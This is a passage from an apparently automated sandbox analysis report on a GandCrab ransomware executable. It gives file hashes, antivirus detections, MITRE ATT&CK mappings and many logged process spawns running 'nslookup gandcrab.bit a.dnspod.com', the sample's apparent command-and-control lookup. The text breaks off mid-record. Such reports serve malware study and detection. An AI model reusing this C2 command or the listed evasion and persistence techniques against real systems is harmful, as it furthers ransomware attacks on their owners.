"nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007644) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007960) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005152) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004732) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007240) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004336) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000368) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005924) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007820) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004692) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002880) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001468) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001536) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002696) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000796) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005012) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005616) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005180) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006908) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005256) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004000) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001960) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004556) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006784) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006604) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00000788) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003304) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006048) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003984) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005232) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006868) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003028) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007544) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006380) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005184) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005240) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006336) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003184) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001356) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00005992) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00007368) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00004716) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00002620) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003912) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00006036) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00003532) Spawned process "nslookup.exe" with commandline "nslookup gandcrab.bit a.dnspod.com" (UID: 00000000-00001088)34:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8Ad3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==35:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8Ad3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790315690915,"unified_at":"2026-09-25T05:54:50.915Z","metadata":{"hashes":{"sha256":"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45","sha1":"a6d41275384207d250322ab8bc22ca7559ffa9c9","md5":"a635d6a35c2fc054042b6868ef52a0c3","sha512":"ab943bdc53c95dbe2cd32958de712b5836101bf125abef86c27abc27bdce9346542867fc686feb2e23a4007888bb413871924f9a0a08d5706cf5034982db27ee","ssdeep":"3072:io/ZKgm+JiNOeHtOkrEY+KT/Hfi2CXgJ:iow3NOePIY+QyBX","ssdeep_chunks":["3072:io/ZKgm","3072:o/ZKgm+","3072:/ZKgm+J","3072:ZKgm+Ji","3072:Kgm+JiN","3072:gm+JiNO","3072:m+JiNOe","3072:+JiNOeH","3072:JiNOeHt","3072:iNOeHtO","3072:NOeHtOk","3072:OeHtOkr","3072:eHtOkrE","3072:HtOkrEY","3072:tOkrEY+","3072:OkrEY+K","3072:krEY+KT","3072:rEY+KT/","3072:EY+KT/H","3072:Y+KT/Hf","3072:+KT/Hfi","3072:KT/Hfi2","3072:T/Hfi2C","3072:/Hfi2CX","3072:Hfi2CXg","3072:fi2CXgJ","6144:io/ZKgm","6144:o/ZKgm+","6144:/ZKgm+J","6144:ZKgm+Ji","6144:Kgm+JiN","6144:gm+JiNO","6144:m+JiNOe","6144:+JiNOeH","6144:JiNOeHt","6144:iNOeHtO","6144:NOeHtOk","6144:OeHtOkr","6144:eHtOkrE","6144:HtOkrEY","6144:tOkrEY+","6144:OkrEY+K","6144:krEY+KT","6144:rEY+KT/","6144:EY+KT/H","6144:Y+KT/Hf","6144:+KT/Hfi","6144:KT/Hfi2","6144:T/Hfi2C","6144:/Hfi2CX","6144:Hfi2CXg","6144:fi2CXgJ","3072:iow3NOe","3072:ow3NOeP","3072:w3NOePI","3072:3NOePIY","3072:NOePIY+","3072:OePIY+Q","3072:ePIY+Qy","3072:PIY+QyB","3072:IY+QyBX"],"imphash":"33399cd8cda4c37a1612457fe61b7e75"},"file_info":{"file_name":"4.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":127488,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1516950416000,"last_seen":1727010069000,"last_multi_scan":1727010069000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["GandCrab","ransomware","criminal","gandcrab","pinchyspider","adwind","agenttesla","alienspy","banker","bladabindi","chanitor","chthonic","cridex","crimson","darkcomet","dofoil","dridex","dyre","dyreza","emotet","fareit","gootkit","gozi","hancitor","hawkeye","infostealer","isfb","keylogger","lokibot","maldoc","msil","nanocore","netwire","neutrino","neverquest","njrat","papras","poisonivy","pony","predator","qakbot","rat","smokeloader","stealer","trojan","troldesh","ursnif","vawtrak","wanacrypt0r","wannacry","wcry","zbot","zeus","suspicious","bunitu","crypt","cryptojoker","downloader","jaffransomware","nukesped"]},"stats":{"av":{"malicious_count":25,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":52},"sandbox_signatures":{"informative_count":103,"suspicious_count":42,"malicious_count":14,"total":159},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Banker]/Win32.NeutrinoPOS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.XPACK.gzhis","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Ransom.GandCrab.AL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Gandcrab-6502433-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Gandcrab_GM_MTB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Application.Win32.IStartSurf.PS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan-Ransom.GandCrab (A)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Filecoder.GandCrab.A trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/GandCrab.av","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 0053305e1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Jorik.tpiN","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Generic.aya","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.NeutrinoPOS.exzgfw","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Ransom-EVD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.GandCrab.127488.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-dc907ce6!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.GandCrab.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Jorik","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Jorik.Win32.423454","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Jorik","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"suspicious","value":"Application communicates to suspicious domain"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Clear Windows Event Logs","attack_id":"T1070.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve event logs (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Imports Mailslot related APIs"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Calls an API typically used to performs encryption on the data"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Calls an API typically used to decrypt the data"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system 